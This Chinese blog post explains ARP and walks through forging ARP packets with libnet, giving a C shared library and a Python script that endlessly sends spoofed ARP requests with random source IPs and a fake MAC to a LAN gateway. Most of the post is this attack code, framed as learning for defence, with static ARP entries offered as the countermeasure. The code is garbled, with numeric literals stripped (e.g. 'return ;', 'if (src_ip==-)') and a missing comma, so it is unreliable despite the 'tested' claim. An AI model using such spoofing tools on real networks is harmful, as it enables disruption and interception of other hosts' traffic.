一台网络中的计算机,其传递到网络中的数据包的内容是完全由其软硬件逻辑决定的,软件可以操控硬件,硬件亦是一种特殊的软件,所以,接收者只根据数据包的内容,绝不可能判定此数据包的真正来源,一切都是可以伪造的。

网络系统功与防的矛盾斗争,可以使得我们更加快速的发现并修补系统漏洞,而且这种矛盾关系必然存在。

  人外有人,天外有天。

  攻的最高境界便是不战,是和平。

  静态arp表项轻松破解ARP伪造报文的攻击。我们研究伪造报文的目的在于深刻理解系统以更好地防御,而非攻击。


ARP : Address Resolution Protocol,地址解析协议,其基本功能为通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。它是IPv4中网络层必不可少的协议,不过在IPv6中已不再适用,并被邻居发现协议(NDP)所替代。

——维基百科

基础资料推荐:《TCP-IP详解 卷1:协议》《ARP协议简介

需要注意,书中阐述的大多数arp缓存更新规则对现代操作系统已经不再适用,试想,一次ARP广播就可以更新当前局域网中所有主机的arp缓存条目,这是多么大的系统漏洞?一轮ARP伪造报文的攻击,便能使这个局域网主机之间的通讯陷入瘫痪。所以,现代操作系统采取了更加保守的arp缓存更新规则,上图已在Win7-64位操作系统与Linux 2.6.32内核上获得验证。

一台网络中的计算机,其传递到网络中的数据包的内容是完全由其软硬件逻辑决定的,软件可以操控硬件,硬件也是一种特殊的软件,所以,接收者只根据数据包的内容,绝不可能判定此数据包的真正来源,一切都是可以伪造的。

操作系统与硬件具有构造数据包的能力,当操作系统把这种能力以系统调用的方式提供给编程者时,则,编程者亦拥有了构造任意数据包的能力。

而Libnet又对这些系统调用进行了又一次的逻辑封装,将这些能力以更加容易使用的方式展露出来,以加快应用程序的开发速度。

实验环境为GNU/Linux,以太网,主机应已安装libnet。

ForgeArp.c
 //// # gcc ForgeArp.c -lnet -shared -fPIC -o ForgeArp.so
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libnet.h>
#define MAC_ADDR_LEN 6
#define IP_ADDR_LEN 4
int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
char * src_ip_str,char *dst_ip_str,uint16_t arpOp,unsigned int sendTimes
)
{
libnet_t *net_t = NULL;
unsigned long src_ip,dst_ip = ;
char err_buf[LIBNET_ERRBUF_SIZE];
libnet_ptag_t p_tag;
unsigned int i=;
src_ip = libnet_name2addr4(net_t,src_ip_str,LIBNET_RESOLVE);
if (src_ip==-)
{
printf("error: libnet_name2addr4 src_ip \n");
return ;
}
dst_ip = libnet_name2addr4(net_t,dst_ip_str,LIBNET_RESOLVE);
if (dst_ip==-)
{
printf("error: libnet_name2addr4 dst_ip \n");
return ;
} printf("the src_ip_str is %s,uint32 src_ip is %d\n",src_ip_str,src_ip);
printf("the dst_ip_str is %s,uint32 dst_ip is %d\n",dst_ip_str,dst_ip); net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
if(net_t == NULL)
{
printf("libnet_init error\n");
return ;
} p_tag = libnet_build_arp(
ARPHRD_ETHER,//hardware type ethernet
ETHERTYPE_IP,//protocol type
MAC_ADDR_LEN,//mac length
IP_ADDR_LEN,//protocol length
arpOp,//op type
(u_int8_t *)src_mac,//source mac addr
(u_int8_t *)&src_ip,//source ip addr
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)&dst_ip,//dest ip addr
NULL,//payload
,//payload length
net_t,//libnet context
//0 stands to build a new one
); if(- == p_tag)
{
printf("libnet_build_arp error\n");
libnet_destroy(net_t);
return ;
} p_tag = libnet_build_ethernet(//create ethernet header
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)src_mac,//source mac addr
ETHERTYPE_ARP,//protocol type
NULL,//payload
,//payload length
net_t,//libnet context
//0 to build a new one
); if(- == p_tag)
{
printf("libnet_build_ethernet error!\n");
libnet_destroy(net_t);
return ;
} int res;
i=;
for(;i<sendTimes;i++)
if(- == (res = libnet_write(net_t)))
{
printf("libnet_write error!\n");
libnet_destroy(net_t);
return ;
} libnet_destroy(net_t);
return ;
FAIL:
libnet_destroy(net_t);
return ;
}

我们已经将ForgeArp功能编译成了shared object,接下来Python入场。

forgeArpTest.py
 """
int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
char * src_ip_str,char *dst_ip_str,uint16_t arpOp,unsigned int sendTimes
)
"""
import time
import random
from ctypes import *
arpLib=CDLL('./ForgeArp.so') def MacTran(macStr):
MacType= c_ubyte * 6
macStr=macStr.translate(None,":")
return MacType(int(macStr[0:2],16),int(macStr[2:4],16),int(macStr[4:6],16),\
int(macStr[6:8],16)int(macStr[8:10],16),int(macStr[10:12],16))
while True:
lis=["192.168.0."]
lis.append(str(int(random.random()*1000/4)))
if lis[1]=='':
continue
arpLib.ForgeAndSendArp("eth0",MacTran("66:66:66:66:66:66"),MacTran("FF:FF:FF:FF:FF:FF") \
,''.join(lis),"192.168.0.1",c_ushort(1),c_uint(2))
time.sleep(1) print ":)"

关于ForgeAndSendArp函数中arpOp参数的选项如下:

// 源码头文件
libnet-1.2-rc3\include\libnet\libnet-headers.h
 // 仅摘部分内容
uint16_t ar_op; /* operation type */
#define ARPOP_REQUEST 1 /* req to resolve address */
#define ARPOP_REPLY 2 /* resp to previous request */
#define ARPOP_REVREQUEST 3 /* req protocol address given hardware */
#define ARPOP_REVREPLY 4 /* resp giving protocol address */
#define ARPOP_INVREQUEST 8 /* req to identify peer */
#define ARPOP_INVREPLY 9 /* resp identifying peer */

代码测试无误。

静态arp表项轻松破解ARP伪造报文的攻击。我们伪造报文的目的在于深刻理解系统以更好地防御,而非攻击。

如有问题或者优化建议,欢迎讨论!

最新文章

  1. 一些LINQ的使用
  2. SQL优化快速入门
  3. SQL Server调优系列基础篇(并行运算总结)
  4. sql语句中where和having的区别
  5. ubuntu 10.04 fcitx 4.12 实现按下shit切换输入法同时提交英文输入
  6. StdRandom.java
  7. 【iOS】Objective-C简约而不简单的单例模式
  8. Python原型模式
  9. android 模拟微信消息 OnItemClickListener()方法 [3]
  10. (转)C/C++中static关键字
  11. http headers
  12. ecshop中的$user对象
  13. angular2 Http和websocket
  14. HBuilder + PHP开发环境配置
  15. 缓存淘汰算法---LRU转
  16. 潭州课堂25班:Ph201805201 第五课:格式化输出和深浅复制 (课堂笔记)
  17. Android虚拟机与Java虚拟机 两种虚拟机的比较
  18. UnityHub破解
  19. 20155211 Exp1 PC平台逆向破解(5)M
  20. 【linux系列】vi模式下查找和替换

热门文章

  1. 【剑指offer】顺时针打印矩阵,C++实现
  2. 【剑指offer】求1+2+…+n,C++实现
  3. ios一些噁心记录
  4. 自动化测试入门指南(3)-- 入门demo
  5. TLS支持版本检测
  6. 《selenium2 python 自动化测试实战》(4)——鼠标事件
  7. wekan 工具配置
  8. consul 几个方便使用的类库
  9. 关于RAS加密中pfx格式提取字符串私钥 (转)
  10. (转)Android自定义属性时format选项( &lt;attr format=&quot;reference&quot; name=&quot;background&quot; /&gt; )